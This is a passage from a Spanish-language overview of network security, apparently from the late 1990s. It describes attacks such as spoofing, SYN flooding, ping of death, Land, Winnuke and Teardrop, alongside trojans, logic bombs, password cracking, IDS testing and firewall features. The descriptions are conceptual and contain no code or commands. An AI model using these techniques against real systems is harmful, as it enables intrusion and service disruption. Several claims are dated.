hubo intenciones de ello, el administrador posiblemente necesite dar de baja por horas o días hasta chequear y tratar de recuperar aquella informacion que ha sido alterada o borrada. Como siempre, esto puede ser realizado por insiders o outsiders, generalmente con el propósito de fraude o dejar fuera de servicio un competidor. Son innumerables los casos de este tipo como empleados (o externos) bancarios que crean falsas cuentas para derivar fondos de otras cuentas, estudiantes que modifican calificaciones de examenes, o contribuyentes que pagan para que se les anule la deuda por impuestos en el sistema municipal. Múltiples web sites han sido víctimas del cambio de sus home page por imágenes terroristas o humorísticas, o el reemplazo de versiones de software para download por otros con el mismo nombre pero que incorporan código malicioso (virus, troyanos).

9 La utilización de programas troyanos esta dentro de esta categoría, y refiere a falsas versiones de un software con el objetivo de averiguar información, borrar archivos y hasta tomar control remoto de una computadora a través de Internet como el caso de Back Orifice y NetBus, de reciente aparición. SPOOFING Esta técnica es utilizada para actuar en nombre de otros usuarios, usualmente para realizar tareas de snoofing o tampering. Una forma comun de spoofing, es conseguir el nombre y password de un usuario legítimo para, una vez ingresado al sistema, tomar acciones en nombre de él, como puede ser el envío de falsos e-mails. El intruso usualmente utiliza un sistema para obtener información e ingresar en otro, y luego utiliza este para entrar en otro, y en otro. Este proceso, llamado Looping, tiene la finalidad de evaporar la identificacion y la ubicación del atacante. El camino tomado desde el origen hasta el destino puede tener muchas estaciones, que exceden obviamente los límites de un país. Otra consecuencia del looping es que una compañía o gobierno pueden suponer que estan siendo atacados por un competidor o una agencia de gobierno extranjera, cuando en realidad estan seguramente siendo atacado por un insider, o por un estudiante a miles de km de distancia, pero que ha tomado la identidad de otros. El looping hace su investigación casi imposible, ya que el investigador debe contar con la colaboración de cada administrador de cada red utilizada en la ruta, que pueden ser de distintas jurisdicciones. Los protocolos de red también son vulnerables al spoofing. Con el IP spoofing, el atacante genera paquetes de Internet con una dirección de red falsa en el campo From, pero que es aceptada por el destinatario del paquete. El envío de falsos e-mails es otra forma de spoofing permitida por las redes. Aquí el atacante envía a nombre de otra persona e-mails con otros objetivos. Tal fue el caso de una universidad en USA que en 1998 debió reprogramar una fecha completa de examenes ya que alguien en nombre de la secretaría había cancelado la fecha verdadera y enviado el mensaje a toda la nómina (163 estudiantes). Muchos ataques de este tipo comienzan con ingeniería social, y la falta de cultura por parte de los usuarios para facilitar a extraños sus identificaciones dentro del sistema. Esta primera información es usualmente conseguida a través de una simple llamada telefónica. JAMMING o FLOODING Este tipo de ataques desactivan o saturan los recusos del sistema. Por ejemplo, un atacante puede consumir toda la memoria o espacio en disco disponible, asi como enviar tanto tráfico a la red que nadie más puede utilizarla. Muchos ISPs (proveedores de Internet) han sufrido bajas temporales del servicio por ataques que explotan el protocolo TCP. Aquí el atacante satura el sistema con mensajes que requieren establecer conección. Sin embargo, en vez de proveer la dirección IP del emisor, el mensaje contiene falsas direcciones IP (o sea que este ataque involucra tambien spoofing). El sistema responde al mensaje, pero como no recibe respuesta, acumula buffers con información de las conecciones abiertas, no dejando lugar a las conecciones legítimas. Muchos host de Internet han sido dados de baja por el "ping de la muerte", una versióntrampa del comando ping. Mientras que el ping normal simplemente verifica si un sistema esta enlazado a la red, el ping de la muerte causa el reboot o el apagado instantáneo del equipo. Otra acción común es la de enviar millares de e-mails sin sentido a todos los usuarios posibles en forma contínua, saturando los distintos servers destino.

10 CABALLOS DE TROYA Consiste en introducir dentro de un programa una rutina o conjunto de instrucciones, por supuesto no autorizadas y que la persona que lo ejecuta no conoce, para que dicho programa actúe de una forma diferente a como estaba previsto (P.ej. Formatear el disco duro, modificar un fichero, sacar un mensaje, etc.). BOMBAS LOGICAS Este suele ser el procedimiento de sabotaje mas comúnmente utilizado por empleados descontentos. Consiste en introducir un programa o rutina que en una fecha determinada destruira, modificara la información o provocara el cuelgue del sistema. INGENIERA SOCIAL Básicamente convencer a la gente de que haga lo que en realidad no debería. Por ejemplo llamar a un usuario haciéndose pasar por administrador del sistema y requerirle la password con alguna excusa convincente. Esto es común cuando en el Centro de Computo los administradores son amigos o conocidos.

DIFUSION DE VIRUS Si bien es un ataque de tipo tampering, difiere de este porque puede ser ingresado al sistema por un dispositivo externo (diskettes) o través de la red (e-mails u otros protocolos) sin intervención directa del atacante. Dado que el virus tiene como característica propia su autoreproducción, no necesita de mucha ayuda para propagarse a traves de una LAN o WAN rapidamente, si es que no esta instalada una protección antivirus en los servidores, estaciones de trabajo, y los servidores de e-mail. Existen distintos tipos de virus, como aquellos que infectan archivos ejecutables (.exe, .com, .bat, etc) y los sectores de boot-particion de discos y diskettes, pero aquellos que causan en estos tiempos mas problemas son los macro-virus, que están ocultos en simples documentos o planilla de cálculo, aplicaciones que utiliza cualquier usuario de PC, y cuya difusión se potencia con la posibilidad de su transmisión de un continente a otro a traves de cualquier red o Internet. Y ademas son multiplataforma, es decir, no estan atados a un sistema operativo en particular, ya que un documento de MS-Word puede ser procesado tanto en un equipo Windows 3.x/95/98 , como en una Macintosh u otras. Cientos de virus son descubiertos mes a mes, y técnicas más complejas se desarrollan a una velocidad muy importante a medida que el avance tecnológico permite la creación de nuevas puertas de entrada. Por eso es indispensable contar con una herramienta antivirus actualizada y que pueda responder rapidamente ante cada nueva amenaza. El ataque de virus es el más común para la mayoría de las empresas, que en un gran porcentaje responden afirmativamente cuando se les pregunta si han sido víctimas de algun virus en los últimos 5 años. EXPLOTACIÓN DE ERRORES DE DISEÑO, IMPLEMENTACIÓN U OPERACIÓN Muchos sistemas estan expuestos a "agujeros" de seguridad que son explotados para acceder a archivos, obtener privilegios o realizar sabotaje. Estas vulnerabilidades ocurren por variadas razones, y miles de "puertas invisibles" han sido descubiertas en aplicaciones de software, sistemas operativos, protocolos de red, browsers de Internet, correo

11 electronico

y

toda

clase

de

servicios

en

LAN

o

WANs.

Sistemas operativos abiertos como Unix tienen agujeros mas conocidos y controlados que aquellos que existen en sistemas operativos cerrados, como Windows NT. Constantemente encontramos en Internet avisos de nuevos descubrimientos de problemas de seguridad (y herramientas de hacking que los explotan), por lo que hoy tambien se hace indispenable contar con productos que conocen esas debilidades y pueden diagnosticar un servidor, actualizando su base de datos de tests periodicamente. Ademas de normas y procedimientos de seguridad en los procesos de diseño e implementacion de proyectos de informática. OBTENCIÓN DE PASSWORDS, CÓDIGOS Y CLAVES Este método (usualmente denominado cracking), comprende la obtencion "por fuerza bruta" de aquellas claves que permiten ingresar a servidores, aplicaciones, cuentas, etc. Muchas passwords de acceso son obtenidas fácilmente porque involucran el nombre u otro dato familiar del usuario, que además nunca la cambia. En esta caso el ataque se simplifica e involucra algun tiempo de prueba y error. Otras veces se realizan ataques sistemáticos (incluso con varias computadoras a la vez) con la ayuda de programas especiales y "diccionarios" que prueban millones de posibles claves hasta encontrar la password correcta. Es muy frecuente crackear una password explotando agujeros en los algoritmos de encriptación utilizados, o en la administracion de las claves por parte la empresa. Por ser el uso de passwords la herramienta de seguridad mas cercana a los usuarios, es aquí donde hay que poner enfasis en la parte "humana" con politicas claras (como se define una password?, a quien se esta autorizado a revelarla?) y una administracion eficiente (cada cuanto se estan cambiando?) No muchas organizaciones estan exentas de mostrar passwords escritas y pegadas en la base del monitor de sus usuarios, u obtenerlas simplemente preguntando al responsable de cualquier PC, cual es su password? ELIMINAR EL BLANCO Ping mortal. Algunos ataques eliminan el blanco en lugar de inundarlo con trabajo. Un ejemplo de este tipo es el ping mortal, un paquete ping ilícitamente enorme, que hace que el equipo de destino se cuelgue. Muchas implementaciones de routers, la mayoría de los Unix y todas las versiones de Windows se mostraron vulnerables a este ataque cuando se lo descubrió por primera vez hace un par de años. A pesar de que los vendedores lanzaron parches de inmediato, hay todavía cantidades significativas de hosts "no corregidos" en las redes de producción (en especial, las que corren bajo el Windows 95). TCP/IP permite un tamaño máximo de paquete de 64 kilobytes (KB, este máximo está dividido en piezas mucho más pequeñas a través de protocolos de capas más bajas, como Ethernet o token ring, pero dentro de una computadora, paquetes mucho más grandes son posibles). Para lidiar con un paquete de 64 KB, la cola TCP/IP asigna un buffer en memoria de 64 KB. Al recibir una cantidad ilícitamente grande de información, como un ping mortal, el buffer del equipo de destino se desborda y el sistema se puede colgar. Todos los IDS que se probaron detectaron paquetes de ping mortal en nuestro test. OTRA FORMA DE "COLGAR" UN EQUIPO Land. Otro método para colgar un equipo es el denomindo Land attack, en el que se genera un paquete con direcciones IP y puertos de fuente y destino idénticos. Existen

12 diferentes variantes para este ataque. Una de ellas usa idénticas direcciones IP de fuente y destino, pero no números de puertos. Fue esta variación la que utilizó NSTL contra el primer par de productos testeados y los dos identificaron el tráfico como un land attack. El tercer producto que se probó, el Netranger, de Cisco, identificó a un land attack solamente (y correctamente) cuando ambas direcciones y números de puerto eran idénticos. El ingeniero de Cisco agregó enseguida una nueva regla, que detectaba a los paquetes con direcciones idénticas nada más. Una vez más, esto pone de manifiesto la importancia de saber qué es lo que se debe buscar. Supernuke. Un ataque característico de los equipos con Windows es el Supernuke (llamado también a veces Winnuke), que hace que los equipos que escuchan por el puerto UDP 139 se cuelguen. Netbios es un protocolo integral para todas las versiones en red de Windows. Para transportar Netbios por IP, Microsoft ideó el Windows Networking (Wins), un esquema que enlaza el tráfico Netbios a puertos TCP y UDP 137, 138 y 139. Al enviar a estos puertos fragmentos UDP, se pueden arruinar equipos Windows que no estén arreglados o disminuir la velocidad del equipo durante un largo tiempo. En cuanto a la inundación ICMP, todos los IDS reconocieron a los ataques Supernuke. Teardrop 2. El ataque más reciente a nuestra base de datos, el Teardrop 2, data de fines de 1997. Al igual que el Supernuke, los ataques Teardrop 1 y Teardrop 2 afectan a fragmentos de paquetes. Algunas implementaciones de colas IP no vuelven a armar correctamente los fragmentos que se superponen, haciendo que el sistema se cuelgue. Windows NT 4.0 de Microsoft es especialmente vulnerable a este ataque, aun cuando se ha aplicado el Service Pack 3. La empresa hizo un parche del Teardrop 1 en mayo de 1997, pero se mostró vulnerable al Teardrop 2, que supuso colocar una bandera de "urgente" en la cabecera de un fragmento TCP. Hasta el lanzamiento de un hot fix en enero de 1998. En cuanto al ataque Dig, el actual lanzamiento del Realsecure, de ISS no vio el ataque del Teardrop 2. Sí lo vio el lanzamiento beta de la versión 2.5. ¿SON SEGUROS LOS SOFT DE ENCRIPTACIÓN DE DATOS? Según expertos argentinos, el software que importan algunas empresas argentinas desde los Estados Unidos para proteger sus datos confidenciales no tiene los niveles de seguridad esperados. Para Ariel Futoransky, del laboratorio de seguridad informática argentino Core SDI, por ejemplo, los programas de encriptación de datos que se importan de ese país pueden ser fácilmente violados. "Esto es así porque en los Estados Unidos hay grandes restricciones para exportar este tipo de software. Tienen miedo de que en todo el mundo se usen los mismos programas que utilizan ellos y de este modo se puedan desarrollar métodos para interferir organismos oficiales clave, como los de inteligencia o seguridad". La encriptación usa una técnica -la criptografía- que modifica un mensaje original mediante una o varias claves, de manera que resulte totalmente ilegible para cualquier persona. Y solamente lo pueda leer quien posea la clave correspondiente para descifrar el mensaje. Junto con la firma digital y las marcas de aguas digitales (digital watermark), la encriptación es una de las posibles soluciones para proteger datos cuando son enviados a través de redes como Internet.

13 La preocupación que tienen en los Estados Unidos por el uso indebido de estos programas es muy fuerte. El software de encriptación tiene las mismas restricciones de exportación que los planos de armas nucleares. Con este panorama, no es alocado sospechar de la calidad de los programas que, a pesar de todas las restricciones, logran salir de los Estados Unidos. Porque si en ese país son tan celosos de su seguridad, se puede pensar que sólo exportarán los programas menos poderosos. "Nosotros creemos que si el software salió de los Estados Unidos no es seguro. Si lo que se busca es proteger información importante, las empresas tienen que buscar otras estrategias de seguridad", agregó Futoransky.

OTRAS OPCIONES La seguridad no es patrimonio exclusivo del gran país del Norte. Pruebas al canto: una universidad de Finlandia desarrolló el Secure Shell (SSH) que sirve para establecer comunicaciones encriptadas a través de Internet o de intranets, las redes internas de las empresas que usan el mismo lenguaje de Internet y así "transportan" información valiosa. Este software, que goza de buena reputación entre las empresas de ese país, fue pedido por compañías de Europa y de los Estados Unidos para ser incluido a su vez en otros programas de seguridad. Sin embargo, Core SDI encontró agujeros en la seguridad de este software, aparentemente infalible: descubrió que permitía que, a través de una serie de instrucciones y comandos, un extraño manejara en forma remota una computadora dentro de una intranet. Esta empresa no solucionó el problema de seguridad del programa, sino que puso un "parche" que detecta cualquier ataque de intrusos en la red, activa una alarma y hace que enseguida se corten todas las conexiones. Ese parche ahora se puede bajar gratis de su sitio en la Web. Para las empresas es muy importante contar con un software de protección confiable porque cada vez utilizan más las redes del tipo intranet, Internet y el correo electrónico para transmitir información. Juan Carlos Maida, de la consultora Zampatti & Maida, coincide en la "inseguridad" de los programas de seguridad estadounidenses. "Sabemos que ahora en los Estados Unidos las reglas para la exportación de este tipo de software tienden a ser más flexibles. Pero, de todas maneras, existen productos de origen israelí o inglés con niveles de seguridad más altos que los estadounidenses. De todas formas, en la Argentina todavía no hay mucha conciencia sobre la necesidad de proteger datos importantes. Acá no se va más allá de los antivirus". Para este consultor, hay algunas señales claras que apuntan a mejorar esta cuestión, como la decisión del Banco Central argentino de exigir a todos los bancos que usen programas de encriptación de datos. Pero "lamentablemente, todavía son pocos los bancos que usan este tipo de software".

BUSCADORES DE AGUJEROS En la Argentina existe un grupo de laboratorios y consultoras dedicado a buscar "agujeros" en los sistemas de seguridad. Core SDI tiene sus propios laboratorios, donde se investigan y evalúan las

14 distintas tecnologías de seguridad informática para desarrollar otras en función de los resultados que obtienen. Además de proveer software, Zampatti, Maida & Asociados ofrece servicios de consultoría, soporte técnico y capacitación. También envía por e-mail un resumen con las últimas noticias acerca de nuevos virus y problemas de seguridad en programas de encriptación. Por su parte, la empresa GIF tiene servicios de seguridad informática, controla fraudes y desarrolla software para proteger la información, como Firewalls (barreras de seguridad entre una red interna conectada a Internet o a una intranet) y sistemas de encriptación. Todas tienen el mismo objetivo: investigar las tecnologías de seguridad informática y adaptarlas (si se puede) a las necesidades argentinas. Hoy, en muchas corporaciones, un hambre de información perpetuo e insaciable ha generado temas de seguridad graves y difíciles de solucionar. El crecimiento de Internet ha generado un aumento en las posibilidades de intrusión electrónica desde adentro y desde afuera de las empresas. No cabe duda de que los gerentes de sistemas y de redes necesitan contar con métodos y mecanismos efectivos, capaces de detectar ataques y disminuir el riesgo de robo de información, sabotaje y todo acceso no deseado a datos de la empresa. A pesar de que los "net management systems" (sistemas de administración de redes), los "routers" y los "firewalls" son capaces de registrar problemas de la red predefinidos, un nuevo tipo de software llamado intrusion detection system (IDS) (sistema de detección de intrusos) los supera en términos de qué es lo que detectan y cómo denuncian los problemas potenciales a los gerentes de redes. Los productos IDS no eliminan todos los problemas de seguridad, pero ofrecen beneficios que los convierten en una opción que vale la pena considerar. Para observar la conducta real de los IDS, NSTL Inc. (Conshohocken, PA) revisó de forma sistemática y probó cinco productos IDS de primera línea, fabricados por Anzen, Cisco, ISS e Internet Tools Inc. Estas pruebas proveen a los gerentes de redes de toda la información que necesitan para determinar de qué forma los productos IDS pueden servir a sus necesidades de protección de la red. Los resultados de la prueba de NSTL permiten también a los gerentes de redes tomar prudentes decisiones de compra, basadas en "rated management capabilities" (capacidades nominales de administración) y "benchmarked performance" (performance de pruebas).

CARACTERÍSTICAS DE LOS IDS Varias cualidades importantes de los IDS los ubican bastante más allá de los "network management systems", los "routers", los "firewalls" y otros medios de protección de redes. Todos los productos, con excepción del Sessionwall-3, de Abirnet Inc. (Dallas), constan de un monitor y una "management station" (estación de administración) que recoge información de monitores (Sessionwall-3 es manejado de forma local).

15 A diferencia de los productos de monitoreo remoto (RMON), los IDS no usan SNMP -que en estos momentos carece de rasgos de seguridad claves- para transmitir información del monitor al gerente. En lugar de ello, los IDS utilizan diversos medios de autenticación y codificado. Todas las interfases de monitoreo de los productos, con excepción de ID-Trak, de Internet Tools Inc. (Fremont, California) son pasivas, de forma tal de que los agresores no estarán en condiciones de detectar nada si hay un IDS escuchando. Los productos IDS que se probaron incluyen también rutinas predefinidas para detectar ataques específicos, y permiten a vendedores y usuarios agregar rutinas que detectan ataques nuevos apenas se los descubre. De todas maneras, existen grandes diferencias en cuanto a qué tipo de definiciones están disponibles para los usuarios.

LAS REDES NECESITAN CENTINELAS CADA VEZ MÁS ATENTOS Atender de manera eficiente la seguridad de una red se hace cada vez más difícil. A pesar de que las herramientas se mejoran día a día, los hackers también aumentan su nivel de conocimientos técnicos y de sofisticación. En general, las empresas y las organizaciones son cada vez más conscientes de los riesgos y permanentemente tratan de aumentar los niveles de protección. Pero la lucha, como dice el tango, "es cruel y es mucha".

VULNERAR PARA PROTEGER Los hackers utilizan diversas técnicas para quebrar los sistemas de seguridad de una red. Básicamemte buscan los puntos débiles del sistema para poder colarse en ella. El trabajo de los testers no difiere mucho de esto. En lo que sí se diferencia, y por completo, es en los objetivos. Mientras que los hackers penetran en las redes para dañar o robar información, un testers lo hace para poder mejorar los sistemas de seguridad. Al conjunto de técnicas que se utilizan para evaluar y probar la seguridad de una red se lo conoce como Penetration Testing, uno de los recursos más poderosos con los que se cuenta hoy para generar barreras cada vez más eficaces. En cuanto a las barreras de seguridad, un testers explica: "Están totalmente relacionadas con el tipo de información que se maneja en cada organización. Por consiguiente, según la información que deba ser protegida, se determinan la estructura y las herramientas de seguridad. No a la inversa".

16 Pero las herramientas no son sólo técnicas. El soft y el hard utilizados son una parte importante, pero no la única. A ella se agrega lo que se denomina "políticas de seguridad internas", que cada empresa u organización debe generar. La explicación del porqué viene de un dato de la realidad. Según un reciente informe de la publicación estadounidense InformationWeek, un porcentaje sustancial de intrusiones en las redes de las empresas (ya sean chicas, medianas o grandes) proviene de ataques internos. Es decir, los mismos empleados hackean a su propia organización. Y aquí es donde cobran especial importancia las políticas de seguridad que se establezcan, además del aspecto técnico.

LOS MALOS TAMBIÉN SABEN MUCHO El nivel de importancia que se le da a la cuestión de la seguridad se generalizó en los últimos años. Esto significa que las empresas son cada vez más conscientes del tema y no escatiman esfuerzos para evitar ser vulneradas. Esta conclusión lleva a pensar que la seguridad creció. Pero esto no es así, porque simultáneamente aumentó y se difundieron la tecnología y los conocimientos para hackear. Por lo tanto, el nivel de inseguridad aumentó. "En el año 1995, con la ejecución de algunas herramientas específicas de ataque y penetración, se hallaron 150 puntos vulnerables en diversos sistemas de red. En el último año, las mismas herramientas fueron utilizadas sobre las nuevas versiones de los sistemas operativos y el resultado fue peor: se encontraron 450 puntos débiles, pese a los avances y la mejora tecnológica de los softwares". Esto hace que las compañías de software prestén cada vez más atención al problema. "El Windows 2000, por ejemplo, que aún no salió al mercado, ya fue sometido a pruebas de este tipo y se le detectaron problemas de seguridad".

LA INVERSIÓN Los costos de las diferentes herramientas de protección se están haciendo accesibles, en general, incluso para las organizaciones más pequeñas. Esto hace que la implementación de mecanismos de seguridad se dé prácticamente en todos los niveles. Empresas grandes, medianas, chicas y las multinacionales más grandes. Todas pueden acceder a las herramientas que necesitan y los costos (la inversión que cada empresa debe realizar) van de acuerdo con la empresa. "Pero no es sólo una cuestión de costos, Los constantes cambios de la tecnología hacen que para mantener un nivel parejo de seguridad cada empresa deba actualizar permanentemente las herramientas con las que cuenta. Como los hackers mejoran sus armas y metodologías de penetración de forma incesante, el recambio y la revisión constantes en los mecanismos de seguridad se convierten en imprescindibles. Y éste es un verdadero punto crítico". Según testers, "esto es tan importante como el tipo de elementos que se usen". Sin duda, éstos deben ser las que mejor se adapten al tipo de organización. Pero tan importante como eso es el

17 hecho de conocer exactamente cómo funcionan y qué se puede hacer con ellos. "Es prioritario saber los riesgos que una nueva tecnología trae aparejados". LAS REGULACIONES Una de las herramientas de seguridad que se utiliza en la actualidad es la encriptación, pero esta técnica no es perfecta. En los Estados Unidos una serie de regulaciones le ponen un techo al nivel de encriptación. El máximo nivel permitido hasta hace algunos meses (64 bits) perdió confiabilidad desde que se logró vulnerarlo. En los Estados Unidos se está buscando un algoritmo de encriptación que permita unos diez años de tranquilidad. Es decir, que durante ese tiempo nadie logre tener los medios tecnológicos que le posibiliten descifrarlo. Además se está tratando de integrar a las empresas proveedoras de softwares con las compañías que los utilizan, o sea, unir a clientes y proveedores para encontrar opciones más seguras.

LA SEGURIDAD TOTAL ES MUY CARA Hoy es imposible hablar de un sistema ciento por ciento seguro, sencillamente porque el costo de la seguridad total es muy alto. "Por eso las empresas, en general, asumen riesgos: deben optar entre perder un negocio o arriesgarse a ser hackeadas. La cuestión es que, en algunas organizaciones puntuales, tener un sistema de seguridad muy acotado les impediría hacer más negocios", "Si un hacker quiere gastar cien mil dólares en equipos para descifrar una encriptación, lo puede hacer porque es imposible de controlarlo. Y en tratar de evitarlo se podrían gastar millones de dólares". La solución a medias, entonces, sería acotar todo el espectro de seguridad, en lo que hace a plataformas, procedimientos y estrategias. De esta manera se puede controlar todo un conjunto de vulnerabilidades, aunque no se logre la seguridad total. Y esto significa ni más ni menos que un gran avance con respecto a unos años atrás. FIREWALLS "Los ataques a maquinas conectadas a Internet se incrementaron en un 260% desde 1994, se calcula una perdida de 1.290 millones de dolares anuales solo en los EEUU" En la era de la informacion, las ideas, datos y archivos en su red son probablemente lo mas valioso que su empresa posee. Piense acerca de sus listas de clientes y registros de accionistas, transacciones comerciales y material de marketing, estrategias de comercializacion y diseño de productos. ¿Cuánto valen ellos para su organizacion? ¿Cuán importante es esta informacion para el exito de su empresa? En su estado actual, la informacion que esta almacenda en su red no es utilizada con comodidad si la misma no es de facil acceso e intercambio. Esto significa, que usted debe elegir entre accesibilidad sobre seguridad?. Muchas companias piensan que ellos deben dejar que la informacion fluya libremente en su red. pero no piensan lo mismo sobre su dinero cuando lo depositan en el banco.

18 El Firewall logra el balance optimo entre seguridad y accesibilidad, de esta manera su empresa puede obtener todas las ventajas que ofrece el libre manejo de su informacion sabiendo que esta se encuentra completamente protegida. Si su empresa tiene una red interna conectada a Internet o a una Intranet corporativa usted necesita un firewall para mantenerlas normas de seguridad entre ellas . El firewall mantiene separada su red interna (de la cual usted tiene control) de diferentes tipos de redes externas (de las cual usted NO tiene control). El firewall controla la entrada y salida de trafico protegiendo su red de intromisiones indeseadas. La funcion del firewall es ser una solida barrera entre su red y el mundo exterior. Este permite habilitar el acceso a usuarios y servicios aprobados. Algunos de las prestaciones que le brindan son son:     

Previene que usuarios no autorizados obtengan acceso a su red. Provee acceso transparente hacia Internet a los usuarios habilitados. Asegura que los datos privados sean transferidos en forma segura por la red publica. Ayuda a sus administradores a buscar y reparar problemas de seguridad. Provee un amplio sistema de alarmas advirtiendo intentos de intromision a su red.

Estas son algunas de sus carateristicas tecnicas:              



Dos tipos de configuracion, local y remota. Configuracion remota por medio de una interface grafica que corre sobre sistema operativo Windows 95/NT. Configuracion local por medio de una interface "ncurses" la cual se utiliza desde la consola del firewall. Permite el uso de aplicaciones basados en servicios tales como RADIUS y TACACS+ los cuales se utilizan en tasacion de tiempos de coneccion y uso de servicios. Soporta el uso de proxy-server para la configuracion de su red interna. Conexiones de todos los servicios comunes de TCP/IP atraves del firewall de manera totalmente transparente. Soporta servicios multimedia, incluyendo Real Audio, CuSeeMe, Internet Relay Chat, etc.. Amplio sistema de logeo de conexiones entrantes/salientes totalmente configurable. Auto configuracion de servidores que proveen servicios hacia el exterior de la red interna por medio de normas de seguridad. Multiples alarmas de intentos de ingreso fallidos hacia la red. Sistema de alarmas configurable que permite el envio de avisos por medio de FAX, Pager, Mail, Voice Mail y advertencia visuales. Filtro de acceso de conecciones permitidas por interfaces no permitidas, este filtro es importante para contrarestar tecnicas IP-SPOOFING. La configuracion del firewall se puede hacer mediante el mismo server o desde un servidor remoto corriendo un sistema de administracion especifico que utiliza para esta tarea una interface dedicada o TUNNELING (comunicacion encriptada). Soporte de comunicaciones encriptadas entre dos FIREWALL (tunneling) en forma totalmente transparente usando algoritmo IDEA/3DES, no es necesario que entre las dos puntas de la comunicacion se encuentren dos FIREWALL tambien se puede efectuar la conexion con cualquier servidor corriendo sistema operativo de tipo BSD, SunOS, Solaris, etc por medio de un daemon que el Firewall provee para cada sistema operativo. Los modulos de alarmas corren tanto dentro del FIREWALL (centralizador de alarmas) como tambien en los servidores de su red para poder brindar detalles mas especificos.

19 El sistema de configuracion permite agregar servicios no estandar a su red y usar estos con el modulo de TUNNELING (comunicacion encriptada) para aumentar su seguridad. ES LA SEGURIDAD EN LA RED PROBLEMA CULTURAL MÁS QUE TECNOLÓGICO Panelistas participantes de una reunión mensual, coinciden en que el 80 por ciento de las violaciones a la información se da dentro de las organizaciones. A medida que el comercio de las empresas vía Internet se hace más generalizado, la inseguridad en las transacciones comerciales se vuelve un problema crucial y en constante crecimiento que debe ser contemplado por la alta gerencia en la toma de decisiones y en la implementación de soluciones. Al hablar sobre la "Seguridad en Internet" nos referimos al gran índice de inseguridad interna de la infraestructura informática de las empresas, así como la falta de una cultura informática necesaria para contemplar estos problemas. El alto grado de vulnerabilidad de la información transferida por la Internet y la facilidad de ataques externos e internos que se traducen en pérdidas que ascienden hasta miles de dólares en términos de información alterada, robada o perdida. Según una investigación realizada en 1700 empresas por la empresa, el 75 por ciento de estas han tenido algún problema de seguridad. De éstas el 40 por ciento ha enfrentado problemas de seguridad debido a la falta de apoyo de la alta dirección para invertir en medidas y herramientas de seguridad y sólo el 38 por ciento se debió a la falta de herramientas adecuadas. Una alternativa es el uso de una llave pública y una privada mediante el protocolo de seguridad Securet Socket Layer (SSL) que autentifica tanto al usuario que envía como al que recibe la información, porque es durante este proceso de transmisión que ocurren la mayor parte de las violaciones en la seguridad. Más que un problema de tecnología, la seguridad en la transmisión de la información por la Red se debe a la falta de cultura de las organizaciones y de las personas que la integran. El eslabón más débil de esta cadena en la seguridad la constituye el humano y no el tecnológico, lo cual destaca la importancia de tener una cultura de seguridad, porque no existe en muchas empresas un responsable de la seguridad. A todos los usuarios se les debe divulgar las políticas de seguridad, además de hacer constantes auditorías para controlar que sean las adecuadas al momento que vive la empresa. Lo que se necesita no es solamente prevenir un ataque en la seguridad, sino ser capaces de detectar y responder a esta agresión mientras ocurre y reaccionar ante la misma. Es importante destacar que no existe un control de seguridad único, sino que las empresas deben contar con diversas capas de seguridad en todos los niveles de su información para poder así detectar el problema en algunos de estos puntos antes de que llegue a la información crucial. LA SEGURIDAD EN LAS REDES : HACKERS, CRACKERS Y PIRATAS Junto a los avances de la informática y las comunicaciones en los últimos años, ha surgido una hueste de apasionados de estas tecnologías, que armados con sus ordenadores y conexiones a redes como Internet, ha logrado humillar a instituciones tan potencialmente

20 seguras como el Pentágono y la NASA. La notoriedad de sus hazañas, su juventud y la capacidad de dejar en evidencia a instituciones muy poderosas, les hace aparecer ante la opinión pública rodeados de un halo de romanticismo. Pero, ¿quiénes son?, ¿son peligrosos para la sociedad?, ¿deben ser perseguidos? Podemos encontrarnos con diferentes términos para definir a estos personajes: hackers, crackers, piratas, etc., estando normalmente condicionado el calificativo a los objetivos y a los efectos de sus ataques a los sistemas. El término hacker, por ejemplo, se utiliza normalmente para identificar a los que únicamente acceden a un sistema protegido como si se tratara de un reto personal, sin intentar causar daños. Los crackers, en cambio, tienen como principal objetivo producir daños que en muchos casos suponen un problema de extrema gravedad para el administrador del sistema. En cuanto a los piratas, su actividad se centra en la obtención de información confidencial y software de manera ilícita. Es muy difícil establecer perfiles de estas personas, porque salvo en los casos en que han saltado a la luz pública como resultado de sus actividades, en su conjunto forman un círculo cerrado e impenetrable. Una aproximación podría ser la de un joven, bastante inteligente, con necesidad de notoriedad, inclinaciones sectarias, y en muchos casos, algo de inadaptación social. Su principal motivación es la de acceder a sistemas protegidos de forma fraudulenta, en una escala que va desde la mera constancia de su éxito, hasta la destrucción de datos, obtención de información confidencial, colapso del sistema, etc. Normalmente los objetivos más apetecibles son los sistemas relacionados con la seguridad nacional, defensa e instituciones financieras, pero ante las posibles consecuencias legales de estos actos optan por otros organismos públicos, las universidades y las empresas. Existe una serie de grupos que tienen un carácter supranacional, y que se extiende a través de su hábitat natural: Internet. A través de este medio intercambian información y experiencias, al mismo tiempo que logran un cierto grado de organización. Esto ha disparado la alarma en algunos ámbitos gubernamentales, dado que una acción coordinada que afectara a varios sistemas estratégicos de un país puede ser igual de desestabilizadora que las actividades terroristas. En España tenemos ejemplos recientes, como es el caso de Hispahack, que realizó ataques a varios sistemas, incluidos los de algunas universidades. También se ha creado en la Guardia Civil un grupo especializado en todo tipo de delitos informáticos para identificar e investigar a estos modernos delincuentes. En la ULL, en cambio, hasta este momento no ha existido un riesgo importante ya que, por una parte, había un gran retraso tecnológico en nuestras infraestructuras y, por otro, los sistemas formaban parte de redes que por sus características eran impermeables a dichos ataques. Pero la situación ha cambiado: la ejecución del Plan Integral de Comunicaciones ha elevado tanto nuestras posibilidades que nos permite la integración en una única red de todos nuestros sistemas informáticos, con lo que conlleva a la hora de prestar servicios a los usuarios. Esto tiene su contrapartida, y es que el número de servicios que se ofrecen es directamente proporcional a los riesgos que se asumen, y sobre todo porque el primer enemigo al que habría que considerar podrían ser los propios usuarios. De todas formas, el exceso de prudencia es contrario a la innovación y, por tanto, se están adoptando medidas que garanticen una cobertura suficiente: la adquisición de herramientas de software para la gestión de red, firewalls (cortafuegos, programas especializados en la protección de redes y sistemas), y software de auditoría; la elaboración de planes de seguridad tanto física como lógica y de las políticas correspondientes; y, por último, la mentalización de los usuarios para el correcto uso de los servicios que se prestan. De todas formas, la total seguridad nunca se podrá alcanzar, a menos que coloquemos los sistemas detrás de un muro infranqueable. Pero entonces nos

